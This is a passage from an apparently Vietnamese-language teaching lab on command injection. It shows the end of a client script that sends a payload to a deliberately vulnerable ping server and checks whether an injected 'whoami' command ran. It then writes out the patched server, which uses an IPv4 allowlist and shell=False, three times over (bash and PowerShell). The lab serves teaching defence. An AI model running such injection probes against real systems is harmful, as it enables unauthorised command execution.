        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
EOF

cat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF

@'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
'@ | Set-Content -Path vuln_app_fixed.py -Encoding ascii

cat > vuln_app_fixed.py <<'EOF'
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
    try:
        # shell=False + list tham so: khong co "shell" de noi them lenh
        flags = ["-n", "1", "-w", "1000"] if platform.system() == "Windows" else ["-c", "1", "-t", "1"]
        out = subprocess.run(["ping", *flags, target],
                              shell=False, capture_output=True, text=True, timeout=5)
        return (out.stdout + out.stderr) or "(khong co ket qua)\n"
    except Exception as e:  # noqa: BLE001 - demo day hoc
        return f"LOI: {e}\n"


def main():
    ap = argparse.ArgumentParser(description="HomeLand Controller (ban DA SUA)")
    ap.add_argument("--port", type=int, default=PORT_DEFAULT)
    ap.add_argument("--lan", action="store_true")
    args = ap.parse_args()
    bind_ip = "0.0.0.0" if args.lan else "127.0.0.1"

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind_ip, args.port))
        s.listen(5)
        print(f"[HomeLand - DA SUA] dang lang nghe {bind_ip}:{args.port}")
        while True:
            conn, addr = s.accept()
            with conn:
                data = conn.recv(4096).decode("utf-8", "replace")
                print(f"[ket noi tu {addr}] nhan: {data!r}")
                conn.sendall(handle(data).encode("utf-8", "replace"))


if __name__ == "__main__":
    main()
EOF